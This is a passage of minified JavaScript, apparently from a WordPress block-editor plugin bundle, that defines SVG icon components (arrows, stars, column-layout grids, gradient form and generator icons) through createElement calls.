24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M16.347 8.36a.477.477 0 0 1-.694 0l-3.12-3.243L9.415 8.36a.477.477 0 0 1-.693 0 .524.524 0 0 1 0-.72l3.466-3.604a.48.48 0 0 1 .693 0l3.467 3.604a.524.524 0 0 1 0 .72Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 9H4v10h16V9ZM4 8h16a1 1 0 0 1 1 1v10a1 1 0 0 1-1 1H4a1 1 0 0 1-1-1V9a1 1 0 0 1 1-1Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M8 15.5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 0 1h-7a.5.5 0 0 1-.5-.5Zm-3-3a.5.5 0 0 1 .5-.5h13a.5.5 0 0 1 0 1h-13a.5.5 0 0 1-.5-.5Z",clipRule:"evenodd"}),(0,o.createElement)(r.Path,{d:"M14 3.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Z"})),A=({className:e})=>(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",className:e},(0,o.createElement)(r.Path,{d:"M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"})),V=({className:e})=>(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",className:e},(0,o.createElement)(r.Path,{d:"M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z"})),D=(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(r.Path,{d:"M18.3 5.6L9.9 16.9l-4.6-3.4-.9 2.4 5.8 4.3 9.3-12.6z"})),G=(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(r.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"})),j=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"})),W=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"22.9",y:"13",width:"2.2",height:"22"})),$=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"16.9",y:"13",width:"2.2",height:"22"})),U=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"28.9",y:"13",width:"2.2",height:"22"})),Z=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"28.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"16.9",y:"13",width:"2.2",height:"22"})),q=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"22.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"12.9",y:"13",width:"2.2",height:"22"})),Y=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"22.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"32.9",y:"13",width:"2.2",height:"22"})),K=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"13.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"31.9",y:"13",width:"2.2",height:"22"})),J=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"11.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"33.9",y:"13",width:"2.2",height:"22"})),X=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"13.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"32.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"22.9",y:"13",width:"2.2",height:"22"})),Q=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"10.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"34.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"26.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"18.9",y:"13",width:"2.2",height:"22"})),ee=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"4",y:"22.9",width:"40",height:"2.2"}),(0,o.createElement)(r.Rect,{x:"22.9",y:"13",width:"2.2",height:"22"})),te=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink"},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"6",y:"22.9",width:"36",height:"2.2"}))),le=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"10.4",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"35.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"29.4",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"16.4",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"22.9",y:"13",width:"2.2",height:"22"})),oe=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"4",y:"18.9",width:"40",height:"2.2"}),(0,o.createElement)(r.Rect,{x:"22.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"4",y:"26.9",width:"40",height:"2.2"})),ae=e=>(0,o.createElement)(r.SVG,{viewBox:"0 0 48 48",xmlns:"http://www.w3.org/1999/xlink",...e},(0,o.createElement)(r.Path,{d:"M41.8,13.2V34.8H6.2V13.2H41.8M42,11H6a2,2,0,0,0-2,2V35a2,2,0,0,0,2,2H42a2,2,0,0,0,2-2V13a2,2,0,0,0-2-2Z"}),(0,o.createElement)(r.Rect,{x:"4",y:"22.9",width:"40",height:"2.2"}),(0,o.createElement)(r.Rect,{x:"28.9",y:"13",width:"2.2",height:"22"}),(0,o.createElement)(r.Rect,{x:"16.9",y:"13",width:"2.2",height:"22"})),ne=(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(r.Path,{d:"M15 4H9v11h6V4zM4 18.5V20h16v-1.5H4z"})),re=(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(r.Path,{d:"M20 11h-5V4H9v7H4v1.5h5V20h6v-7.5h5z"})),ie=(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(r.Path,{d:"M9 20h6V9H9v11zM4 4v1.5h16V4H4z"})),se=(0,o.createElement)(r.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(r.Rect,{x:"1.5",y:"8.5",width:"45",height:"31",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(r.Rect,{x:"42",y:"11",width:"2",height:"2",rx:"1",fill:"#ED6F57"})),ce=(0,o.createElement)(r.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(r.Rect,{x:"1.5",y:"8.5",width:"45",height:"31",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(r.Rect,{x:"42",y:"11",width:"2",height:"2",rx:"1",fill:"#ED6F57"}),(0,o.createElement)(r.Rect,{x:"16.5",y:"14.5",width:"15",height:"19",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(r.Rect,{x:"18.5",y:"16.5",width:"11",height:"3",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(r.Rect,{x:"18.5",y:"22.5",width:"11",height:"2",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(r.Rect,{x:"18.5",y:"26.5",width:"11",height:"5",rx:"0.5",stroke:"#ED6F57",fill:"none"})),de=(0,o.createElement)(r.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",fill:"none",xmlns:"http://www.w3.org/2000/svg",fill:"none"},(0,o.createElement)(i.Circle,{cx:"37.5",cy:"21.5",r:"2",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(r.Path,{d:"M29 28.9V19.2261C29 19.1392 29.103 19.0937 29.1673 19.1521L34.5 24L39.8086 28.826C39.8762 28.8875 39.8327 29 39.7413 29H34.5H29.1C29.0448 29 29 28.9552 29 28.9Z",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)("mask",{id:"path-3-inside-1_3034_34948",fill:"white"},(0,o.createElement)(r.Path,{d:"M25 16C25 15.4477 25.4477 15 26 15H42C42.5523 15 43 15.4477 43 16V32C43 32.5523 42.5523 33 42 33H26C25.4477 33 25 32.5523 25 32V16Z"})),(0,o.createElement)(r.Path,{d:"M24 16C24 14.8954 24.8954 14 26 14H42C43.1046 14 44 14.8954 44 16H42H26H24ZM44 32C44 33.1046 43.1046 34 42 34H26C24.8954 34 24 33.1046 24 32H26H42H44ZM26 34C24.8954 34 24 33.1046 24 32V16C24 14.8954 24.8954 14 26 14V16V32V34ZM42 14C43.1046 14 44 14.8954 44 16V32C44 33.1046 43.1046 34 42 34V32V16V14Z",fill:"#ED6F57",mask:"url(#path-3-inside-1_3034_34948)"}),(0,o.createElement)(r.Path,{d:"M5 18H21",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(r.Path,{d:"M5 22H21",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(r.Path,{d:"M5 26H21",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(r.Path,{d:"M5 30H13.8889",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(r.Rect,{x:"1.5",y:"8.5",width:"45",height:"31",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(r.Rect,{x:"42",y:"11",width:"2",height:"2",rx:"1",fill:"#ED6F57"})),ue=(0,o.createElement)(r.SVG,{"data-target":"generator-icon",xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",style:{color:"transparent"}},(0,o.createElement)(r.Path,{d:"M6 17V21",stroke:"url(#paint0_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M4 19H8",stroke:"url(#paint1_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M17 3V7",stroke:"url(#paint2_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M15 5H19",stroke:"url(#paint3_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M6.5 5C6.5 6.933 8.067 8.5 10 8.5",stroke:"url(#paint4_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M10 8.5C8.067 8.5 6.5 10.067 6.5 12",stroke:"url(#paint5_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M6.5 12C6.5 10.067 4.933 8.5 3 8.5",stroke:"url(#paint6_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M3 8.5C4.933 8.5 6.5 6.933 6.5 5",stroke:"url(#paint7_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M11.609 15.778C14.202 15.778 16.304 13.676 16.304 11.083",stroke:"url(#paint8_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M16.3051 11.083C16.3051 13.676 18.4071 15.778 21.0001 15.778",stroke:"url(#paint9_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M21.0001 15.7781C18.4071 15.7781 16.3051 17.8801 16.3051 20.4731",stroke:"url(#paint10_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Path,{d:"M16.305 20.4731C16.305 17.8801 14.203 15.7781 11.61 15.7781",stroke:"url(#paint11_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Defs,null,(0,o.createElement)(r.LinearGradient,{id:"paint0_linear_3599_37937",x1:"6",y1:"17",x2:"6",y2:"21",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint1_linear_3599_37937",x1:"6",y1:"18.5",x2:"6",y2:"19.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint2_linear_3599_37937",x1:"17",y1:"3",x2:"17",y2:"7",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint3_linear_3599_37937",x1:"17",y1:"4.5",x2:"17",y2:"5.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint4_linear_3599_37937",x1:"8.25",y1:"5",x2:"8.25",y2:"8.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint5_linear_3599_37937",x1:"8.25",y1:"8.5",x2:"8.25",y2:"12",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint6_linear_3599_37937",x1:"4.75",y1:"8.5",x2:"4.75",y2:"12",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint7_linear_3599_37937",x1:"4.75",y1:"5",x2:"4.75",y2:"8.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint8_linear_3599_37937",x1:"13.9565",y1:"11.083",x2:"13.9565",y2:"15.778",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint9_linear_3599_37937",x1:"18.6526",y1:"11.083",x2:"18.6526",y2:"15.778",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint10_linear_3599_37937",x1:"18.6526",y1:"15.7781",x2:"18.6526",y2:"20.4731",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint11_linear_3599_37937",x1:"13.9575",y1:"15.7781",x2:"13.9575",y2:"20.4731",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})))),be=(0,o.createElement)(r.SVG,{width:"20",height:"21",viewBox:"0 0 20 21",fill:"none",style:{color:"transparent"},xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(r.Path,{d:"M17.5044 8.5V20C17.5044 20.3 17.3044 20.5 17.0044 20.5H3.00439C2.70439 20.5 2.50439 20.3 2.50439 20V2C2.50439 1.7 2.70439 1.5 3.00439 1.5H12.8044",stroke:"url(#paint0_linear_3726_618)","stroke-linecap":"round"}),(0,o.createElement)(r.Path,{d:"M5.00439 3.5H10.0044C10.3044 3.5 10.5044 3.7 10.5044 4V6C10.5044 6.3 10.3044 6.5 10.0044 6.5H5.00439C4.70439 6.5 4.50439 6.3 4.50439 6V4C4.50439 3.7 4.70439 3.5 5.00439 3.5Z",stroke:"url(#paint1_linear_3726_618)"}),(0,o.createElement)(r.Path,{d:"M5.00439 9.5H13.0044C13.3044 9.5 13.5044 9.7 13.5044 10V11C13.5044 11.3 13.3044 11.5 13.0044 11.5H5.00439C4.70439 11.5 4.50439 11.3 4.50439 11V10C4.50439 9.7 4.70439 9.5 5.00439 9.5Z",stroke:"url(#paint2_linear_3726_618)"}),(0,o.createElement)(r.Path,{d:"M5.00439 13.5H15.0044C15.3044 13.5 15.5044 13.7 15.5044 14V18C15.5044 18.3 15.3044 18.5 15.0044 18.5H5.00439C4.70439 18.5 4.50439 18.3 4.50439 18V14C4.50439 13.7 4.70439 13.5 5.00439 13.5Z",stroke:"url(#paint3_linear_3726_618)"}),(0,o.createElement)(r.Path,{d:"M16.0044 7C16.0044 5.3 17.3044 4 19.0044 4C17.3044 4 16.0044 2.7 16.0044 1C16.0044 2.7 14.7044 4 13.0044 4C13.8044 4 14.6044 4.3 15.1044 4.9C15.7044 5.4 16.0044 6.2 16.0044 7Z",stroke:"url(#paint4_linear_3726_618)","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Defs,null,(0,o.createElement)(r.LinearGradient,{id:"paint0_linear_3726_618",x1:"10.0044",y1:"1",x2:"10.0044",y2:"21",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint1_linear_3726_618",x1:"7.50439",y1:"3",x2:"7.50439",y2:"7",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint2_linear_3726_618",x1:"9.00439",y1:"9",x2:"9.00439",y2:"12",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint3_linear_3726_618",x1:"10.0044",y1:"13",x2:"10.0044",y2:"19",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint4_linear_3726_618",x1:"16.0057",y1:"1",x2:"16.0057",y2:"7.0025",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})))),me=(e={})=>(0,o.createElement)(r.SVG,{width:"20",height:"21",viewBox:"0 0 20 21",fill:"none",xmlns:"http://www.w3.org/2000/svg",style:{color:"transparent"},...e},(0,o.createElement)(r.Path,{d:"M17.5044 8.49112V19.9911C17.5044 20.2911 17.3044 20.4911 17.0044 20.4911H3.00439C2.70439 20.4911 2.50439 20.2911 2.50439 19.9911V1.99112C2.50439 1.69112 2.70439 1.49112 3.00439 1.49112H12.8044",stroke:"url(#paint0_linear_1006_2437)","stroke-linecap":"round"}),(0,o.createElement)(r.Path,{d:"M5.50439 4.49112H9.50439",stroke:"url(#paint1_linear_1006_2437)","stroke-linecap":"round"}),(0,o.createElement)(r.Path,{d:"M5.50439 8.49112H13.5044",stroke:"url(#paint2_linear_1006_2437)","stroke-linecap":"round"}),(0,o.createElement)(r.Path,{d:"M5.50439 12.4911H14.5044",stroke:"url(#paint3_linear_1006_2437)","stroke-linecap":"round"}),(0,o.createElement)(r.Path,{d:"M5.50439 16.4911H14.5044",stroke:"url(#paint4_linear_1006_2437)","stroke-linecap":"round"}),(0,o.createElement)(r.Path,{d:"M16.0044 6.99112C16.0044 5.29112 17.3044 3.99112 19.0044 3.99112C17.3044 3.99112 16.0044 2.69112 16.0044 0.991119C16.0044 2.69112 14.7044 3.99112 13.0044 3.99112C13.8044 3.99112 14.6044 4.29112 15.1044 4.89112C15.7044 5.39112 16.0044 6.19112 16.0044 6.99112Z",stroke:"url(#paint5_linear_1006_2437)","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(r.Defs,null,(0,o.createElement)(r.LinearGradient,{id:"paint0_linear_1006_2437",x1:"10.0044",y1:"1.49112",x2:"10.0044",y2:"20.4911",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint1_linear_1006_2437",x1:"7.50439",y1:"4.24112",x2:"7.50439",y2:"5.74112",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint2_linear_1006_2437",x1:"9.50439",y1:"8.24112",x2:"9.50439",y2:"9.74112",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint3_linear_1006_2437",x1:"10.0044",y1:"12.2411",x2:"10.0044",y2:"13.7411",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint4_linear_1006_2437",x1:"10.0044",y1:"16.2411",x2:"10.0044",y2:"17.7411",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(r.LinearGradient,{id:"paint5_linear_1006_2437",x1:"16.0044",y1:"0.991119",x2:"16.0044",y2:"6.99112",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})))),pe=(e={})=>(0,o.createElement)(r.SVG,{width:"21",height:"21",viewBox:"0 0 21 21",fill:"none",xmlns:"http://www.w3.org/2000/svg",style:{color:"transparent"},...e},(0,o.createElement)(r.Path,{d:"M19.5 8V19.5C19.5 19.8 19.3 20 19 20H1C0.7 20 0.5 19.8 0.5 19.5V1.5C0.5 1.2 0.7 1 1 1H12.8",stroke:"url(#paint0_linear_1036_1071)","stroke-linecap":"round"}),(0,o.createElement)(r.Path,{d:"M17 6.5C17 4.8 18.3 3.5 20 3.5C18.3 3.5 17 2.2 17 0.5C17 2.2 15.7 3.5 14 3.5C14.8 3.5 15.6 3.8 16.1 4.4C16.7 